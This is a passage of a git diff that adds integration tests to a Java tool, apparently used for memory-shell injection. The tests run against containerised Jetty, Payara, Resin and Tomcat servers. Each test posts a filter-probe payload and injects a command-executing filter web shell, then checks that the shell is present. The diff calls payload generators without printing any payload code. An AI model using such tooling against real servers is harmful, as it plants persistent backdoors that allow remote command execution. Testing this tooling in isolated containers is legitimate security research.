com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +79,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java index 6b189240..754bfb92 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -70,4 +80,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java index e87a0ea3..ab29f789 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +79,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java index fe5ae163..bbe11b9c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +79,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Jetty)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java index 483422d2..f29b9682 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara5201ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.AfterAll; @@ -17,9 +24,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -81,4 +92,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java index 0bbc2800..c37788e5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara520225ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -16,9 +23,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -75,4 +86,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java index a6056d33..5f215bfe 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/payara/Payara620222ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import org.junit.jupiter.api.BeforeAll; @@ -16,9 +23,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -76,4 +87,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.GlassFish, Opcodes.V11); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.GlassFish, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.GlassFish)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java index eb013e56..af8e7f52 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin3116ContainerTest.java @@ -2,11 +2,18 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +80,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java index 1e499d89..a1f61332 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin318ContainerTest.java @@ -2,11 +2,18 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -34,6 +45,11 @@ public class Resin318ContainerTest { .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + @AfterAll + public static void tearDown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -69,4 +85,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_7); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java index 9bbfd32b..fd6f0b10 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4058ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +79,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java index 9df38c79..0a4cd020 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/resin/Resin4067ContainerTest.java @@ -2,8 +2,14 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +21,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +79,21 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Resin, Opcodes.V11); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Resin, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Resin)); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java index f38ff6b8..e57561a0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat10ContainerTest.java @@ -2,12 +2,19 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; -import org.objectweb.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.api.Test; +import org.objectweb.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; @@ -15,9 +22,11 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -34,6 +43,12 @@ public class Tomcat10ContainerTest { .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); + + @AfterAll + public static void tearDown() { + log.info(container.getLogs()); + } + @Test void testJDK() { String url = getUrl(container); @@ -76,4 +91,22 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V11); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V11, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + log.info(data); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java index d17313dd..65f7786c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/tomcat/Tomcat11ContainerTest.java @@ -2,8 +2,15 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import com.reajason.javaweb.probe.payload.FilterProbeFactory; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +22,13 @@ import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -70,4 +81,22 @@ void testBytecodeReqParamResponseBody() { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Tomcat, Opcodes.V17); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + ShellAssertion.assertFilterProbeIsRight(data); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + MemShellResult memShellResult = shellInjectIsOk(url, Server.Tomcat, ShellType.JAKARTA_FILTER, ShellTool.Command, Opcodes.V17, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.Tomcat)); + log.info(data); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertEquals(filterName, memShellResult.getShellClassName()); + } } diff --git 